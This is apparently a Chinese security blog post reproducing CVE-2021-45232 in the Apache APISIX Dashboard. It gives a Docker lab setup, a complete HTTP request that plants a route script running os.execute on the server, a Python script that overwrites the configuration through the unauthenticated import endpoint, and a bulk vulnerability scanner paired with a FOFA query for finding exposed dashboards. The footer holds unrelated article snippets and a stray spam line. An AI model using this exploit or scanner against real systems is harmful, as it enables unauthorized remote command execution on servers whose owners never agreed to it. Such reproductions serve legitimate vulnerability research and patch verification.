<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache APISIX Dashboard 接口未授權訪問漏洞復現-CVE-2021-45232

    VSole2022-01-07 15:54:56

    1 環境搭建

    使用docker搭建環境

    https://github.com/apache/apisix-docker

    修改docker-compose.yml為2.7即可

    默認賬號密碼為admin:admin

    1、首先添加一個上游

    2、添加一個路由

    然后在上游服務選擇,我們新建的上游。


    2 漏洞復現

    獲取/apisix/admin/migrate/export

    構造一個Payload

    PUT /apisix/admin/routes/387864323462005443 HTTP/1.1Host: ip:9000Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://106.52.5.116:9000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2Connection: closeContent-Length: 248
    {"uris":["/rce"],"methods":["GET","POST","PUT","DELETE","HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')","upstream_id":"387864007731577539"}
    

    這里有兩個地方需要注意,第一就是URL后面routes/后的數字是來自export中的路由ID。

    而下面的upstreamid是來自export中的上游ID,如果填錯會報找不到upstream_id,然后需要把新的覆蓋一下。

    某大佬發了一個文章給我,那里要用go寫一個什么CRC的校驗啥的,這里的話其實直接訪問export就可以了,會自動下載一個bak文件。

    我們需要直接瀏覽器訪問:

    http://ip:9000/apisix/admin/migrate/export,隨后會下載一個名為apisix-config.bak的文件。

    然后發送請求覆蓋。

    #!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :test.py@Author  :UzJu@Date    :2021/12/29 12:24 上午 @Email   :UzJuer@163.com'''import httpximport requests
    target = "http://ip:9000"url = target + "/apisix/admin/migrate/import"files = {'file': open('./apisix-config.bak', 'rb')}r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080") print(r.status_code)print(r.content)
    

    Ps: 上面寫了proxies是因為想把流量給到burp,更好的看清楚請求。

    隨后在路由的地方查看一下,發現成功覆蓋了。

    看看burp接收到的請求。

    然后訪問ip:9080/UzJu

    隨后進入docker查看。

    3 POC編寫

    最開始的POC編寫思路,比較簡單,既然是沒做鑒權,那直接請求export然后判斷返回的東西或者返回值是不是200不就可以了,先不考慮后續利用。

    /apisix/admin/migrate/export

    /apisix/admin/migrate/import

    #!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :CVE-2021-45232_POC.py@Author  :UzJu@Date    :2021/12/29 12:03 上午 @Email   :UzJuer@163.com'''
    import requests
    
    class Apache_ApiSix_Poc:    def __init__(self, url):        self.url = url + "/apisix/admin/migrate/export"
        def checkVuln(self):        headers = {            "Connection": "close"        }        try:            result = requests.get(url=self.url,                                  headers=headers,                                  verify=False)            if '{"Consumers":[]' in result.text:                print(f"[+]CVE-2021-45232: {self.url}存在漏洞")        except:            pass
    
    if __name__ == '__main__':    with open('./url.txt', 'r') as f:        for i in f.read().splitlines():            main = Apache_ApiSix_Poc(i)            main.checkVuln()
    

    然后fofa隨便找一些站點,搜索語法為:

    title="Apache APISIX Dashboard"

    4 免責聲明

    本文內容僅用于技術交流,不存在所謂未公開POC,文中未進行打碼處理的,全是已公開的POC或利用方式。

    urladmin
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    滲透測試Tips
    2022-04-13 06:38:50
    知己知彼,百戰不殆1、如果提示缺少參數,如{msg:params error},可嘗使用字典模糊測試構造參數,進一步攻擊。
    前陣子做了一下 Dice CTF 2021,做出了幾個 XSS ,本次就寫一下包括復現題在內的所有學習筆記。
    Spring的英文翻譯為春天,可以說是給Java程序員帶來了春天,因為它極大的簡化了開發。
    使用docker搭建環境 https://github.com/apache/apisix-docker 修改docker-compose.yml為2.7即可
    記某CMS漏洞getshell
    2021-11-04 08:13:44
    今天下午比較空閑,就去搜索一些cms,突然對極致CMS感興趣,而網上已經有一些文章對它進行分析利用,sql注入,xss,后臺修改上傳后綴名前臺getshell等等。 于是就引起了我的興趣想去測試一下。
    cmd=id輸出了id為什么不直接在插件里面寫入反彈shell呢?因為不知道有沒有可以利用的工具來進行反彈shell,不清楚是否有nc,python,bash等等,那么寫入可以執行系統命令的代碼,可以去查找是否存在這些工具。發現為root用戶system /bin/bash提升為root權限拿到flag
    前言本文通過多個 poc ,結合ftp協議底層和php源碼,分析了在 php 中利用 ftp 偽協議攻擊 php-fpm ,從而繞過 disable_functions 的攻擊方法,并在文末復現了 [藍帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
    研究人員發現在暗網中有3000萬記錄了受Astoria公司數據泄露影響的美國人的記錄。泄露的Astoria數據還包含電子郵件交易日志,顯示通過電子郵件傳輸未加密的敏感用戶信息。專家認為,賣方13是“ Yousef”,即近4億個被盜Facebook帳戶的原始經紀人 。調查涉嫌違規專家后,發現了向Astoria Company,LLC注冊的400多個域的列表。Astoria公司識別并確認了其網站上存在惡意腳本,并將其脫機。專家發現,共有19個Astoria所有的域名使用相同的Adminer腳本,在Night Lion向Astoria報告后被下線。
    前 言 歡迎各位大佬們給該項目點一個star https://github.com/flipped-aurora/gin-vue-admin/
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类